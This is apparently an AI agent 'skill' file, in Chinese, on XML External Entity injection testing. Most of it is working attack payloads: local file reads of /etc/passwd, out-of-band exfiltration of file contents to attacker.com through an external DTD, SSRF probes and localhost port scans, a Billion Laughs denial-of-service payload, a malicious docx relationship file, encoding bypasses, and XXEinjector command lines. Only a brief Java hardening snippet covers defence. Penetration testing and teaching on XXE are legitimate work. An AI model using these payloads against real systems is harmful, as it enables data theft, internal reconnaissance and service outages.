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XXE XML外部实体注入测试的专业技能和方法论
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| name | xxe-testing |
| description | XXE XML外部实体注入测试的专业技能和方法论 |
| version | 1.0.0 |
XXE（XML External Entity）注入是一种利用XML解析器处理外部实体的漏洞。本技能提供XXE漏洞的检测、利用和防护方法。
XML解析器在处理外部实体时，可能读取本地文件、进行SSRF攻击或导致拒绝服务。常见于：
测试外部实体：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
测试网络请求（SSRF）：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<foo>&xxe;</foo>
当响应不直接显示内容时：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/?file=/etc/passwd">
]>
<foo>&xxe;</foo>
使用参数实体：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
evil.dtd内容：
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?%file;'>">
%eval;
%exfil;
读取本地文件：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
Windows路径：
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
内网探测：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>&xxe;</foo>
端口扫描：
<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379">
Billion Laughs攻击：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<foo>&lol9;</foo>
docx文件结构：
word/document.xml - 包含文档内容
word/_rels/document.xml.rels - 包含外部引用
修改document.xml.rels：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships>
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="file:///etc/passwd" TargetMode="External"/>
</Relationships>
PHP：
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
Java：
<!ENTITY xxe SYSTEM "jar:file:///path/to/file.zip!/file.txt">
编码绕过：
<!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64">
利用参数实体绕过某些限制：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>test</foo>
# 基础使用
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml
# 文件读取
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml --oob=http://attacker.com --path=/etc/passwd
禁用外部实体
// Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
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